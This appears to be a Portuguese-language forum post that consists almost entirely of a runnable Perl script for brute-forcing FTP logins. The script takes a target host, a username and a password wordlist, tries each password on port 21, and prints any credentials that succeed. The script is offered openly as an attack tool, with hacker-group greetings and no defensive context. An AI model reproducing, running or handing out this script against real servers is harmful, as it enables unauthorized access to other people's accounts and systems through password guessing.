- Código:
#!/usr/bin/perl
############################
# Gr33tz: Cy¢lone & Ut0p|4 #
############################
use Net::FTP;
my $host = $ARGV[0];
my $user = $ARGV[1];
my $wl = $ARGV[2];
if($#ARGV != 2){
print "
\033[1;34m[*]\033[0m FTP Brute-Force By MMxM
\033[1;34m[*]\033[0m Uso: $0 <host> <user> <wordlist>
";
exit;
}
print "\n\n\033[0;32m[+]\033[0m FTP Brute-Force By MMxM\n\n";
print "\033[1;34m[*]\033[0m Attacking: $host\n\033[1;34m[*]\033[0m User: $user\n\n";
open(a,"<$wl");
@pass = <a>;
$b = scalar(@pass);
for($a>0;$a<$b;$a++){
$number = $number + 1;
chomp($password = $pass[$a]);
my $f = Net::FTP->new($host) or die "$!";
if(!$f->login($user, $password)){
print "\033[1;34m[*]\033[0m $host:21 - [$number/$b] Testing... $password\n";
$f->quit;
} else {
print "\033[1;34m[*]\033[0m $host:21 - [$number/$b] Testing... $password\n";
print "\033[0;32m[+]\033[0m - Successful FTP login: $password\n";
print "\033[1;34m[*]\033[0m Login: $user Password: $password\n\n";
exit;
}
}
print "\033[1;31m[-]\033[0m No Password crackeds :/\n";
print "\033[1;34m[*]\033[0m (100% complete)\n\n";
exit;
Participe do fórum, é rápido e fácil